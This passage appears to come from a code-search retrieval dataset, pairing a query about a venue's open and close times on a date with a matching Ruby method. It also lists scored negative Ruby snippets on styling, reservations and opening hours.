@cascades.dup)\n\n\t\t\t# Set zoom level\n\t\t\tif args[0].is_a?(Range) || args[0].is_a?(Integer)\n\t\t\t\tr.kv[:zoom] = args.shift\n\t\t\tend\n\n\t\t\t# Set condition\n\t\t\tsub_cond = nil\n\t\t\tif args.empty?\n\t\t\t\tsub_cond = @condition\t\t\t\t\t\t# just inherit parent layer's condition\n\t\t\telse\n\t\t\t\tsub_cond = (args.length==1) ? args[0] : Condition.new.from_list(:any,args)\n\t\t\t\tsub_cond = nilsafe_merge(sub_cond, @condition)\n\t\t\tend\n\t\t\tr._set_filter(nilsafe_merge(sub_cond, @uncascaded))\n\t\t\tr.instance_eval(&block)\n\t\t\t@stylesheet._add_layer(r)\n\n\t\t\t# Create cascaded layers\n\t\t\tchild_chr='a'\n\t\t\t@cascades.each do |c|\n\t\t\t\tc_cond, c_kv = c\n\t\t\t\tl = Layer.new(@stylesheet, :id=>\"#{r.kv[:id]}__#{child_chr}\", :kv=>r.kv.dup)\n\t\t\t\tl._set_filter(nilsafe_merge(sub_cond, c_cond))\n\t\t\t\tl.kv.merge!(c_kv)\n\t\t\t\t@stylesheet._add_layer(l)\n\t\t\t\tchild_chr.next!\n\t\t\tend\n\t\tend", "def set(args, auto_compute=true)\n set_parent(args.delete(:parent)) if args && args[:parent]\n @style.set args\n self.legacy_rule = @style[:position]\n compute if auto_compute\n end", "def apply\n @textBox.set_markup(\"<span style='\"+@style.to_s+\"' weight='\"+@weight.to_s+\"' foreground='\"+@color.to_s+\"' font_desc='\"+@font.to_s+\" \"+@size.to_s+\"'>\"+@label+\"</span>\")\n end", "def run\n @ctx.call(self,&@blk) if @blk\n end", "def element(*args, &block)\n __element__(*args, &block)\n end", "def element(*args, &block)\n __element__(*args, &block)\n end", "def highlight_element(element)\n execute_script(\"arguments[0].style.border='3px solid red'\", element)\n end", "def rmq_style_applied\n on_styled\n end", "def set_run_style(validator, attr, value)\n return unless INLINE_STYLES.include?(attr.to_sym)\n\n Axlsx.send(validator, value) unless validator.nil?\n instance_variable_set :\"@#{attr}\", value\n @is_text_run = true\n end", "def style(options)\n @styles = options\n end", "def set_run_style(validator, attr, value)\n return unless INLINE_STYLES.include?(attr.to_sym)\n\n Axlsx.send(validator, value) unless validator.nil?\n instance_variable_set :\"@#{attr}\", value\n end", "def run(context, options = {})\n #@block.call(options)\n\n if @options[:defaults]\n options = @options[:defaults].merge(options)\n end\n\n context.instance_exec(options, &@block)\n end", "def style=(_); end", "def start_new_block_element(attrs)\n @current_block = {\n formatting_spans: [],\n paragraph_classes: [],\n }.merge(attrs)\n @block_elements << @current_block\n end", "def []=(attribute, value)\n `c$Element.prototype.m$set_style.call(#{@element},attribute,value)`\n end", "def item_block(_item, &block)\n block.yield\n end", "def style_it\n\n\t\t#Fetches the style class from the list of ./styles.\n\t\tstyle_instance = fetch_style_class\n\n\t\tFile.open( @file, \"r\" ) do |input|\n\t\t File.open( \"#{File.dirname(@file)}/sc_#{File.basename(@file)}\" , \"w\") do |output|\n\n\t\t\tcomment_lines = []\n\t\t\tshow_something?(lines = input.readlines)\n\t\t\t\n\t\t\tlines.each do |line|\n\t\t\t if line[/\\S/] == @options[:literal] \n\t\t\t\tcomment_lines << line\n\t\t\t elsif not comment_lines.empty?\n\t\t\t\tmodified_comments = style_instance.style_it comment_lines \n\t\t\t\tcomment_lines.clear\n\t\t\t\toutput << modified_comments\n\t\t\t\toutput << line\n\t\t\t else\n\t\t\t\toutput << line\n\t\t\t end\n\t\t\tend\n\n\t\t end\n\t\tend\n\t\tputs \"Done !\"\n\t end", "def style(value)\n attributes[:style] = value\n end", "def initialize(task_style, origin, block_args=[], &block)\n unless(SUPPORTED_STYLES.include?(task_style))\n raise ArgumentError.new(\"Allowed style values: #{SUPPORTED_STYLES.map(&:inspect).join(', ')} but received: #{task_style.inspect}\")\n end\n @style = task_style\n @origin = origin\n @content = block\n @content_arguments = block_args\n @result = nil\n send(\"run_#{style}\")\n end", "def style=(value)\n @style = value\n end", "def set_style(attribute, value)\n `var attr=attribute.__value__.replace(/[_-]\\\\D/g, function(match){return match.charAt(1).toUpperCase();}),val=value.__value__||value`\n `if(attr == 'opacity'){return this.m$set_opacity(value);}`\n `if(attr==='float'){val=#{trident?}?'styleFloat':'cssFloat'}`\n `if(val===String(Number(val))){val=Math.round(val)}`\n `this.__native__.style[attr]=val`\n return self\n end", "def kss_block(section, &block)\n @section = @styleguide.section(section)\n modifiers = @section.modifiers\n\n @example_html = capture(&block)\n concat render(:partial => \"info/styleguide/css/styleguide_block\", :locals => {\n :html => @example_html,\n :modifiers => modifiers})\n end", "def style\n @style ||= Style.new(attributes[:style])\n end", "def context_with_span(span, parent_context: Context.current)\n parent_context.set_value(CURRENT_SPAN_KEY, span)\n end", "def style(prop); end", "def setfillstyle(*)\n super\n end", "def add_style_object(style, options = {})\n # load default options\n options = {\n \"id\" => nil,\n \"default\" => false,\n \"next_style_id\" => nil,\n \"base_style_id\" => nil,\n \"assign_handle\" => true,\n \"assign_priority\" => true\n }.merge(options)\n\n if style.kind_of?(Style)\n unless @styles.values.index(style).nil?\n # style already present in stylesheet\n return true\n end # unless\n\n # Verify ID is present and does not conflict with another style's ID\n if options[\"id\"].nil? || !options[\"id\"].kind_of?(String) || options[\"id\"].length < 1\n RTFError.fire(\"All styles in a stylesheet must have unique non-empty string IDs.\")\n elsif !@styles[options[\"id\"]].nil?\n RTFError.fire(\"Multiple styles cannot have the same ID '#{style.id}'.\")\n end # if\n\n # Auto-assign handle to style if nil\n if style.handle.nil? && options[\"assign_handle\"]\n if options[\"default\"]\n # default style takes on the '0' handle\n style.handle = 0\n else\n max_h = @styles.values.collect(&:handle).max\n base_h = @options[\"base_style_handle\"]\n style.handle = (max_h || (base_h - 1)) + 1\n end # if\n end # if\n\n # Auto-assign priority if nil\n if style.priority.nil? && options[\"assign_priority\"]\n max_p = @styles.values.collect(&:priority).max\n base_p = @options[\"base_style_priority\"]\n style.priority = (max_p || (base_p - 1)) + 1\n end # if\n\n # Add key in next styles hash if next style given\n unless options[\"next_style_id\"].nil?\n @next_styles_hash[options[\"id\"]] = options[\"next_style_id\"]\n end # unless\n\n # Add key in base styles hash if next style given\n unless options[\"base_style_id\"].nil?\n @base_styles_hash[options[\"id\"]] = options[\"base_style_id\"]\n end # unless\n\n # Add style fonts and colours to respective tables\n style.push_colours(document.colours)\n style.push_fonts(document.fonts)\n\n @styles[options[\"id\"]] = style\n true\n else\n false\n end # if\n end", "def render_box(options = {})\n # list of classes for the outer div.\n outer_div_classes = [ \"textbox_container\" ]\n # inner div, same story\n inner_div_classes = [ \"textbox\" ]\n # heading\n heading_classes = [ \"heading\" ]\n\n content = yield if block_given?\n content ||= options[:content]\n \n return nil if content.blank? && options[:heading].blank? unless options[:empty]\n\n # Options:\n # float_left\n outer_div_classes.push(\"float_left\") if options[:float_left] === true\n # text_align_center\n inner_div_classes.push(\"text_align_center\") if options[:text_align_center] === true\n # highlight\n inner_div_classes.push(\"highlight\") if options[:highlight] === true\n # background_image\n background_image = options[:background_image]\n # header color\n heading_color = options[:heading_color]\n inner_div_classes.push(\"textbox_#{heading_color}\") unless heading_color.blank?\n # background color\n background_color = options[:background_color]\n\n ############################################################################\n # inner div\n ############################################################################\n\n inner_div_classes.push(\"#{background_color}_background\") unless background_color.blank?\n\n inner_div_options = { :class => c(inner_div_classes) }\n inner_div_styles = []\n unless background_image.blank?\n # opacity:0.4;filter:alpha(opacity=40);\n inner_div_styles.push \"background: url(#{background_image}) no-repeat center;\"\n end\n\n unless options[:height].blank?\n inner_div_styles.push \"height: #{options[:height]}\"\n end\n\n unless options[:width].blank?\n inner_div_styles.push \"width: #{options[:width]}\"\n end\n\n unless inner_div_styles.blank?\n inner_div_options[:style] = c(inner_div_styles)\n\n end\n inner_div_options[:style] ||= options[:inner_div_style] # can be overridden\n\n ############################################################################\n # outer div\n ############################################################################\n\n outer_div_options = { :class => c(outer_div_classes) }\n outer_div_options[:style] = options[:outer_div_style]\n\n ############################################################################\n # text div\n ############################################################################\n\n text_div_options = {}\n text_div_classes = []\n\n text_div_classes.push \"bigfont\" if options[:bigfont] === true\n text_div_classes.push \"solid_background\" if options[:solid_background] === true\n\n text_div_options[:class] = c(text_div_classes)\n\n ############################################################################\n # go render\n ############################################################################\n\n # let's go, outer div\n content_tag :div, outer_div_options do\n content_tag :div, inner_div_options do\n # heading\n heading = \"\"\n heading = content_tag :p, options[:heading], :class => c(heading_classes), :style => options[:heading_style] unless options[:heading].blank?\n # text div\n content_tag_ = content_tag :div, text_div_options do\n content_tag :p, content, :class => \"inner_p\"\n end\n # do it!\n heading + content_tag_\n end\n end\n end", "def draw(&block)\n block.call(self)\n end", "def with_element\n # if the start element is empty then don't do any processing, as\n # there won't be any child elements to process!\n unless @reader.empty_element?\n # read the first element\n read_or_die\n\n while @reader.node_type != 15 # end element\n # because we read elements in DOM-style to reuse their DOM\n # parsing code, we don't always read an element on each pass\n # as the call to @reader.next in the innermost loop will take\n # care of that for us.\n if @reader.node_type == 1 # element\n name = @reader.name\n attributes = {}\n\n if @reader.has_attributes?\n attributes[@reader.name] = @reader.value while @reader.move_to_next_attribute == 1\n\n @reader.move_to_element\n end\n\n yield name, attributes\n else\n read_or_die\n end\n end\n end\n read_or_die\n end", "def call\n @block.arity < 1 ? self.instance_eval(&@block) : @block.call(self) if @block\n self\n end", "def inner(el, opts); end", "def render(sx, sy, ws, hs, &block)\n x, y, w, h = ws * @sizes.x, hs * @sizes.y, ws * @sizes.w, hs * @sizes.h\n x += sx\n y += sy\n rect = FloatRect.new(x, y, w, h)\n mrect = apply_parent_paddings(apply_margins(rect, ws, hs), ws, hs)\n yield mrect, self\n mrect\n end", "def styles(styles)\n @styles.set(styles)\n yield(self) if block_given?\n self\n end", "def add_uninlinable_styles(parent, blocks, merge_media_queries)\n return if blocks.empty?\n\n parent_node =\n case parent\n when :head\n find_head\n when :root\n dom\n else\n raise ArgumentError, \"Parent must be either :head or :root. Was #{parent.inspect}\"\n end\n\n create_style_element(blocks, parent_node, merge_media_queries)\n end", "def render_plain_styleblock(name)\n @block_html.gsub('$modifier_class', '').gsub(' class=\"\"', '').prepend('<div class=\"styleguide-styleblock\">') << '</div>'\n end", "def draw(&block)\n instance_eval(&block)\n end", "def style; end", "def style; end", "def style; end", "def apply( relation, additional_context )\n ( block && block.call( relation, additional_context ) ) || relation\n end", "def highlight_codeblock(el)\r\n #puts highlight_code(el.value, el.attr['class'], :span)\r\n #h = ::Kramdown::Converter.syntax_highlighter(@options[:syntax_highlighter])\r\n #puts h.call(self, el.value, el.attr['class'], :span)\r\n #puts syntax_highlighter(self, el.value, el.attr['class'], :span)\r\n puts \"SB #{el.inspect}\"\r\n nil # until it's ready for Shoes to eval it. \r\n end", "def method_missing(method, *args, &block)\n super(method, *args) unless block_given?\n options, attrs, element = (args.detect { |arg| arg.is_a?(Hash) } || {}), {}, nil\n\n # handle methods separately if they match the pre-defined elements\n if ELEMENTS.include?(method.to_sym)\n attrs, element = options, method\n else \n attrs, element = { :class => method.to_s.downcase.gsub('_', options[:glue] || ' ') }, :div \n end\n \n wrapper(element, attrs, @template.capture(&block), block.binding)\n end", "def prepare_debug(element)\n element.add_renderable(\n create_rect_renderable(element.w, element.h, \"blue\")\n )\n end", "def compileStyleElement(parsed_doc, style_attributes, doc)\n style_content = \"\"\n style_attributes.each do |digest, style_attribute|\n style_content += \".mathjax-inline-#{digest}{#{style_attribute}}\"\n end\n style_tag = parsed_doc.at_css(\"head\").add_child(\"<style>#{style_content}</style>\")[0]\n hashStyleTag(style_tag, doc)\n end", "def banner(context, block)\n context.instance_eval(&block)\n end", "def tag(tag, *args, &block)\n item = Html::Element.new(tag, *args)\n self << item\n if block\n @item_stack.push item\n block.call(item) \n @item_stack.pop\n end\n return self\n end", "def style(*queries)\n # do not modify queries, it gets passed to `super`\n if queries[-1].is_a? Hash\n properties = queries[-1]\n else\n # empty style declarations are allowed, but accomplish nothing.\n return\n end\n\n if properties.include?(:when_contained_in)\n # okay NOW modify queries\n queries.pop\n queries.each do |stylename|\n style = Style.new\n style.stylename = stylename\n style.stylesheet = self\n style.merge!(properties)\n\n when_contained_in << [stylename, style]\n end\n else\n super\n end\n end", "def render(item_container)\n # Add support for a dom_class attribute on the parent element\n item_container.dom_class = \"\"\n item_container.dom_class = options.delete(:dom_class) if options.has_key?(:dom_class)\n item_container.dom_id = options.delete(:dom_id) if options.has_key?(:dom_id)\n item_container.dom_class += \" \" + get_class(has_icons ? \"__with-icons\" : \"__without-icons\")\n item_container.dom_class += \" \" + get_class(has_toggles ? \"__with-toggles\" : \"__without-toggles\")\n item_container.dom_class += \" level-#{item_container.level}\"\n super\n end", "def color_well(options = {}, &block)\n ColorWell.new({parent: self}.merge!(options), &block)\n end", "def method_missing(method, *arguments, &block)\n if xhtml_block?(method, arguments)\n @xml.__send__(method, *arguments) do\n @xml.div(xmlns: \"http://www.w3.org/1999/xhtml\") do |xhtml|\n block.call(xhtml)\n end\n end\n else\n @xml.__send__(method, *arguments, &block)\n end\n end", "def set_style(style_id = 2)\n style_id = 2 if style_id < 0 || style_id > 42\n @style_id = style_id\n end", "def call\n if @block\n @block.arity < 1 ? self.instance_eval(&@block) : @block.call(self)\n end\n self\n end", "def format_as_block_html(name, attr, body, indent); end", "def clear\n `c$Element.prototype.m$clear_styles.call(#{@element})`\n end", "def s(val); @style = val; end", "def style\n Style.new(self)\n end", "def render_rich_styleblock(name, options)\n if @section.blank? or @section.description.blank?\n raise \"Section must have a description. Section #{options[:section]} does not have one or section does not exist.\"\n end\n\n # Render the styleguide block\n ::Tilt.new(self.styleguide_block_path).render(self)\n end", "def style\n defined?(@style) ? @style : 0\n end", "def run elt\n raise \"you must override the run(elt) method\"\n end", "def call_block\n @_block.call(self) if @_block\n end", "def render\n if @block\n instance_eval(&@block)\n end\n end", "def [](attribute)\n `c$Element.prototype.m$get_style.call(#{@element},attribute)`\n end", "def style\n end", "def add_element_for_CharacterStyleRange(char)\n el = parent_el = nil\n char_style = :regular\n l = { :story => @story_name, :line => char.line }\n\n # Only proceed if char has at least one non-empty Content node\n char_has_non_whitespace_content = char.children.any? { |child|\n 'Content' == child.name && !child.inner_text.strip.empty?\n }\n return el unless char_has_non_whitespace_content\n\n if (\n 'CharacterStyle/Bold Italic' == char['AppliedCharacterStyle'] ||\n 'Bold Italic' == char['FontStyle']\n )\n # Create pair of nested elements to include both bold and italic styles.\n parent_el = ElementRt.new(:strong, nil, nil, :location => l)\n el = ElementRt.new(:em, nil, nil, :location => l)\n parent_el.add_child(el)\n char_style = :bold_italic\n else\n # TODO: assignment of char_style depends on code execution: if both are present, it will always be 'Italic' and never 'Bold'\n # Is this ok or intended?\n if (\n 'CharacterStyle/Bold' == char['AppliedCharacterStyle'] ||\n 'Bold' == char['FontStyle']\n )\n el = parent_el = ElementRt.new(:strong, nil, nil, :location => l)\n char_style = :bold\n end\n\n if (\n 'CharacterStyle/Italic' == char['AppliedCharacterStyle'] ||\n 'Italic' == char['FontStyle']\n )\n if parent_el\n el = ElementRt.new(:em, nil, nil, :location => l)\n parent_el.add_child(el)\n else\n el = parent_el = ElementRt.new(:em, nil, nil, :location => l)\n end\n char_style = :italic\n end\n\n end\n\n if 'CharacterStyle/$ID/[No character style]' == char['AppliedCharacterStyle']\n # Preserve FontStyles\n if 'Italic' == char['FontStyle']\n el = parent_el = ElementRt.new(:em, nil, nil, :location => l)\n char_style = :italic\n elsif 'Bold' == char['FontStyle']\n el = parent_el = ElementRt.new(:strong, nil, nil, :location => l)\n char_style = :bold\n else\n # No FontStyle applied so we don't need to add any parent elements\n # for this CharacterStyleRange\n end\n end\n\n add_class_to_self_or_parent = lambda do |css_class|\n parent_el = el = ElementRt.new(:em, nil, nil, :location => l) if el.nil?\n parent_el.add_class(css_class)\n parent_el.add_class(\n case char_style\n when :regular then ''\n when :italic then ' italic'\n when :bold then ' bold'\n when :bold_italic then ' bold italic'\n end\n )\n end\n\n add_class_to_self_or_parent.call('underline') if 'true' == char['Underline']\n add_class_to_self_or_parent.call('smcaps') if 'SmallCaps' == char['Capitalization']\n\n if \"Color/GAP RED\" == char['FillColor']\n (el.nil? ? @tree : el).add_child(\n ElementRt.new(:gap_mark, nil, nil, :location => l)\n )\n end\n\n if \"Color/TRANSLATORS OMIT\" == char['FillColor']\n containing_para_ke = @stack.last.first\n if (\n containing_para_ke &&\n :p == containing_para_ke.type\n )\n # append omit class\n containing_para_ke.add_class('omit')\n end\n end\n\n if 'CharacterStyle/Paragraph number' == char['AppliedCharacterStyle']\n if @tree.has_class?('normal')\n @tree.remove_class('normal')\n @tree.add_class('normal_pn')\n end\n add_class_to_self_or_parent.call('pn')\n end\n\n if !HANDLED_CHARACTER_STYLES.include?(char['AppliedCharacterStyle'])\n add_class_to_self_or_parent.call(normalize_style_name(char['AppliedCharacterStyle']))\n end\n\n @tree.add_child(parent_el) if !parent_el.nil?\n\n el\n end", "def style\n self\n end", "def format_as_indented_block_html(name, attr, body, indent); end", "def process(css, opts = T.unsafe(nil)); end", "def process(css, opts = T.unsafe(nil)); end", "def add_element(element)\n if nested_child?\n @options.last.last.add_element(element)\n else\n @options.last << element\n end\n end" ]
[ "0.58125013", "0.5554899", "0.5544672", "0.5485018", "0.5391613", "0.5356065", "0.5098809", "0.5097967", "0.49983513", "0.49909022", "0.4780992", "0.4774864", "0.47722697", "0.4732404", "0.47293657", "0.47261757", "0.47047907", "0.4697932", "0.46967188", "0.4684911", "0.46620366", "0.46487597", "0.46434668", "0.4615721", "0.4615721", "0.46137154", "0.4582888", "0.45614776", "0.45553237", "0.45403594", "0.45275873", "0.45148376", "0.44883114", "0.4466551", "0.44584885", "0.44584885", "0.4446499", "0.44407573", "0.44361264", "0.44357812", "0.44275334", "0.44140428", "0.4408943", "0.43721056", "0.43592787", "0.43542057", "0.4353104", "0.4345879", "0.4343955", "0.43143868", "0.43103293", "0.4310252", "0.43093476", "0.430897", "0.4307367", "0.4296705", "0.42873493", "0.42834228", "0.427987", "0.42758706", "0.4274234", "0.42685595", "0.42650792", "0.4262982", "0.42584446", "0.42421484", "0.42402825", "0.4230587", "0.4230587", "0.4230587", "0.4227503", "0.42260426", "0.4222048", "0.42200685", "0.42200536", "0.42171472", "0.42169964", "0.42147005", "0.4213349", "0.42126143", "0.42118564", "0.42064944", "0.42064124", "0.42044207", "0.4199886", "0.41895142", "0.41831782", "0.4168275", "0.4160874", "0.41573206", "0.4150388", "0.41285935", "0.412199", "0.41208908", "0.4118598", "0.4116026", "0.41153824", "0.41093534", "0.41093534", "0.41061705" ]
0.7057737
0
returns the open and close times for the specified date or an empty array if closed on that date
def open_close_times(date) open_close = @open_close[as_string(date)] || @open_close[as_sym(date)] || @default_open_close open_close.collect { |h| Time.parse("#{as_string(date)} #{h}") } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def time_to_next_open(date)\n closed_at = open_close_times(date).last\n date = next_day(date)\n while open_close_times(date) == CLOSED\n date = next_day(date)\n end\n open_at = open_close_times(date).first\n open_at - closed_at\n end", "def time_already_open(date)\n open = open_close_times(date).first\n date - open > 0 ? date - open : 0\n end", "def open_slots_for_select(date)\n open_slots(date).map do |slot|\n [\"#{slot.starts_at.strftime('%d/%m/%Y, %H:%M ')}\", slot.starts_at]\n end\n end", "def time_until_open(date)\n open = open_close_times(date).first\n open - date > 0 ? open - date : 0\n end", "def openings_on(date)\n events = openings.starts_on(date).to_a\n events.present? ? events : recurrent_openings_for(date)\n end", "def recurrent_openings_for(date)\n recurrence_date = openings.recurrent(date).maximum(:starts_at)\n recurrence_date ? openings.starts_on(recurrence_date).to_a : []\n end", "def work_time(date)\n open, closed = open_close_times(date)\n closed - open - time_already_open(date)\n end", "def each_open_day\n each do |day, times|\n unless times.empty?\n yield day, times\n end\n end\n end", "def trucks_currently_open\n trucks = self.class.get_truck_data\n date = self.class.get_time\n\n trucks_open_now = []\n trucks.each do |truck|\n if date.strftime('%H:%M') <= truck[\"end24\"] && \n date.strftime('%H:%M') > truck[\"start24\"]\n trucks_open_now << truck[\"applicant\"]\n end \n end\n p trucks_open_now\n end", "def open?\n return false if close_today?\n today = self.time_tables.find_by(day_of_week: Time.now.wday)\n (today.opened_at...today.closed_at).include?(Time.now.hour)\nend", "def closed_date_time\n return @closed_date_time\n end", "def grouped_open_hours\n\n open_hours = []\n start_day = nil\n end_day = nil\n current_period = nil\n\n standard_hours.sort.each_with_index do |o, i|\n if not o.open?\n period = \"Stengt\"\n else\n period = I18n.l(o.open_time, format: :time) + \" - \" + I18n.l(o.close_time, format: :time)\n end\n\n # Track day\n if start_day == nil\n start_day = o.day\n current_period = period\n end\n\n # Previous group ended, add it\n if period != current_period\n day = I18n.t(\"days.#{start_day}\")\n if end_day != nil\n day += \" - \" + I18n.t(\"days.#{end_day}\")\n end\n # Hverdager custom string\n if start_day == \"monday\" and end_day == \"friday\"\n day = \"Hverdager\"\n end\n open_hours.append([day, current_period])\n current_period = period\n start_day = o.day\n end_day = nil\n end\n\n # Update period end\n if start_day != o.day\n end_day = o.day\n end\n\n # Last day closes period\n if i >= standard_hours.count - 1\n day = I18n.t(\"days.#{start_day}\")\n if end_day != nil\n day += \" - \" + I18n.t(\"days.#{o.day}\")\n end\n open_hours.append([day, current_period])\n end\n\n end\n\n open_hours\n end", "def day_info(date)\n {\n date: date,\n current_period: @user.critical_periods.has_date(date).first,\n close_periods: @user.critical_periods.near_by_date(date).all.to_a,\n }\n end", "def show_opening_hours(times, formatted_times, event_date)\n result = 'Not Open Today'\n event_day = transformToFourSquareDay(event_date.in_time_zone.wday)\n times.each_with_index do |time, index|\n unless time.days.index(event_day).nil?\n result = formatted_times[index].open[0].renderedTime\n end\n end\n result\n end", "def city_openings(start_date, end_date)\n openings(start_date, end_date)\n end", "def state_time\n\t\tarr = []\n\t\t@state_in_stock.each do |state|\n\t\t\tarr << state.time\n\t\tend\n\t\tarr.shift\n\t\tarr\n\tend", "def neighborhood_openings(start_date, end_date)\n openings(start_date, end_date)\n end", "def day_times\n @day_times ||= available_times.map(&:day_time)\n @day_times\n end", "def price_at(date)\n found_stock = @stocks.select { |stock| stock.date == date }.first\n return nil if found_stock.nil?\n found_stock.opening unless found_stock.opening.nil?\n found_stock.closing if found_stock.opening.nil?\n end", "def closing_values_at(index)\n return index2time(index), value_at(index, :close)\n end", "def closed(day)\n week.each do |weekday,hours_array|\n if day == weekday \n week[weekday] = [\"closed\"]\n \n end\n end\n end", "def neighborhood_openings(start_date, end_date)\n openings = []\n self.listings.each do |listing|\n listing.reservations.each do |r|\n booked_dates = r.checkin..r.checkout\n unless booked_dates === start_date || booked_dates === end_date\n openings << listing\n end\n end\n end\n return openings\n end", "def get_hours_array hours\n hours_array = []\n hours.each { |h| hours_array << h.date }\n return hours_array\n end", "def open_entry?\n opened_at <= DateTime.now.to_date && closed_at >= DateTime.now.to_date\n end", "def open_slots(date)\n time = date.to_time\n \n slots = []\n prev_time = time - 30.minutes\n loop do\n start_time = prev_time + 30.minutes\n \n if start_time.to_date == date\n slots << Slot.new(starts_at: start_time, cat: self)\n prev_time = start_time\n else\n break\n end\n end\n \n # Remove taken/past timeframes\n slots.reject do |slot|\n Reservation.exists?(cat: self, starts_at: slot.starts_at) || slot.starts_at.past?\n end\n end", "def get_start_and_end_dates(n)\n description = Nokogiri::HTML(@description_xpath[n].text).text\n if description.include?(\"IF YOU GO\")\n description = description.split(\"IF YOU GO\")[1]\n if description.include?(\"When\" && \"Tickets\")\n description = description.split(\"When\")[1].split(\"Tickets\")[0]\n datetimes = description.gsub(\";\", \",\").split(\",\")\n @additional_datetimes = datetimes[1..-1].join(\",\") if datetimes.size > 1\n get_event_datetimes(datetimes[0])\n else\n [nil, nil]\n end\n else\n [nil, nil]\n end\n end", "def dates_for(symbol)\n date_strings_for(symbol).map{|date_string| Time.zone.parse(date_string)}\n end", "def DateClosed # rubocop:disable Style/MethodName\n Time.strptime(@attrs[:DateClosed], '%m/%d/%Y %l:%M %p').utc unless @attrs[:DateClosed].nil?\n end", "def open_datetime\n Time.parse(data.fetch('openDate'))\n end", "def make_event_times_array(dates_array, hour, min)\n\t\tevent_times = Array.new\n\n\t\tdates_array.each_index do |index|\n\t\t\n\t\t\tevent_times[index] = create_event_time(dates_array[index],hour, min)\n\t\tend\n\n\t\treturn event_times\n\tend", "def open?(time = nil)\n time = Time.new if time.nil?\n time = time.in_time_zone(self.time_zone)\n day_index = time.wday\n return unless open_on_day? day_index\n hours = hours_on_day day_index\n (time > hours[0]) && (time < hours[1])\n end", "def trucks_open_today\n trucks = self.class.get_truck_data\n date = self.class.get_time\n\n trucks_today = []\n trucks.each do |truck|\n if date.strftime(\"%A\") == truck[\"dayofweekstr\"]\n trucks_today << truck[\"applicant\"]\n end \n end\n p trucks_today\n end", "def timeslots\n data['timeslots'].map { |ts|\n Timeslot.new(\n Time.at(ts['start_date']),\n Time.at(ts['end_date'] || ts['start_date']),\n data['timezone']\n )\n }.reject(&:finished?).sort_by(&:start_date)\n end", "def getCurrentOptionDates()\n params = {\n :q => @symbol,\n }\n\n page = nil\n begin\n page = @@agent.get(CURRENT_OPTION_DATA_URI, params)\n rescue => e\n logger.error(\"Unable to find option dates for #{@symbol}\")\n return nil\n end\n\n exp = page.body.scan(/^google.finance.data =.*expirations:(\\[.*?\\]).*$/)\n .pop().pop()\n .gsub(/(\\w+):/, '\"\\1\":') # convert to proper json\n \n ret = []\n for j in JSON.parse(exp)\n ret.push(Util::ETime.new(j['y'], j['m'], j['d']))\n end\n return ret\n end", "def is_school_usually_open?(_date, time_of_day)\n time_of_day >= @cached_open_time && time_of_day < @cached_close_time\n end", "def city_openings(start_date, end_date)\n date_range = (Date.parse(start_date)..Date.parse(end_date))\n listings.collect do |listing|\n available = true\n listing.booked_dates.each do |date|\n if date_range === date\n available = false\n end\n end\n listing if available\n end\n end", "def check_providers_day_times(date)\n\t\tday_open = \"\"\n\t\tProviderTime.where(:service_provider_id => self.service_providers.pluck(:id), :day_id => date.cwday).each do |pt|\n\t\t\tif day_open == \"\"\n\t\t\t\tday_open = pt.open\n\t\t\telse\n\t\t\t\tif day_open != pt.open\n\t\t\t\t\treturn false\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\treturn true\n\tend", "def city_openings(start_date, end_date)\n self.listings.each do |listing|\n listing.reservations.each do |res|\n start_date <= res.checkout.to_s && end_date <= res.checkin.to_s\n end\n end\n end", "def timecodes\n return [] if start_time.nil?\n start_hour = start_time.strftime(\"%H\")\n start_min = start_time.strftime(\"%M\").to_i < 30 ? \"00\" : \"30\"\n curr_time = Time.parse(\"#{start_hour}:#{start_min}\")\n timecode_array = []\n while curr_time < Time.parse(\"#{end_time.strftime(\"%H\")}:#{end_time.strftime(\"%M\")}\") - 1.second\n timecode_array << \"#{curr_time.strftime(\"%H\").to_i}:#{curr_time.strftime(\"%M\")}\"\n curr_time = curr_time + 30.minutes\n end\n timecode_array_with_days = []\n %w(monday tuesday wednesday thursday friday saturday sunday).each do |day|\n timecode_array_with_days << timecode_array.collect{|t| \"#{t}_#{day}\"}.flatten if read_attribute(day)\n end\n timecode_array_with_days.flatten\n end", "def grid\n Date::DAYNAMES.map do |name|\n daily_hours = send(name.downcase)\n HOURS.map do |hour|\n daily_hours.include? hour\n end\n end\n end", "def show\n @open_hours = Hash.new\n @place.open_times.each do |schedule|\n @open_hours[schedule.day] = \"#{schedule.open_time.strftime('%l:%M %P')} - #{schedule.close_time.strftime('%l:%M %P')}\"\n end\n end", "def closed?\n closed_at.try(:past?)\n end", "def not_open\n if self.time.to_i < restaurant.open_at.to_i || self.time.to_i > restaurant.close_at.to_i\n errors.add(:date, \"Restaurant not open at that time\")\n end\n end", "def symbol_to_ask_graph(symbol, date)\n\n quotes = Quote.where(symbol: symbol).where('created_at < ?', date + 1.days).where('created_at > ?', date).order('round_time ASC').where(source: \"yahoo_finance_gem\")\n\n hash = quotes.group_by { |i| i.round_time}\n\n array = hash.values.flatten\n\n array_for_graph = []\n\n array.each do |quote|\n unless quote.last_trade_time == \"4:00pm\" || quote.last_trade_time == \"3:59pm\"\n h = {}\n h[\"time\"] = quote.round_time\n h[\"ask\"] = quote.ask\n h[\"bid\"] = quote.bid\n h[\"previous_close\"] = quote.previous_close\n h[\"last_trade_time\"] = quote.last_trade_time\n h[\"created_at\"] = quote.created_at.strftime(\"%l:%M %p\")\n array_for_graph << h\n end\n end\n return array_for_graph\n end", "def closed_state\n icon = closed ? 'check' : ''\n date = closed ? CmsCommonHelper.dc_format_date_time(time_closed, 'd') : ''\n %(<i class=\"mi mi-#{icon}\"></i> &nbsp;#{date})\nend", "def city_openings(start_date, end_date)\n listings.collect do |listing|\n reservations_in_range = listing.reservations.collect do |reservation|\n reservation.checkin <= end_date.to_date && reservation.checkout >= start_date.to_date\n end\n listing unless reservations_in_range.include?(true)\n end\n end", "def events_on(date)\n events.select { |event| event.event_date == date }\n end", "def open_appointments\n date = Date.parse(params[:date])\n clinic = Clinic.find(params[:clinic_id])\n doctor = Doctor.find(params[:doctor_id])\n # @times = doctor.open_appointment_times(date)\n @times = clinic.open_appointment_times(date, doctor)\n if @times.is_a?(Hash)\n render json: {status: 1, error: @times[:error]}\n else\n render json: { status: 0, times: @times }\n end\n #@appointment = Appointment.new\n #render json: {open_times: @open_times}\n # render json: {times: [\n # {time: '8:00 AM', enabled: true, selected: false, index: 0},\n # {time: '8:30 AM', enabled: false, selected: false, index: 1},\n # {time: '9:00 AM', enabled: true, selected: false, index: 2},\n # {time: '9:30 AM', enabled: true, selected: false, index: 3},\n # {time: '10:00 AM', enabled: false, selected: false, index: 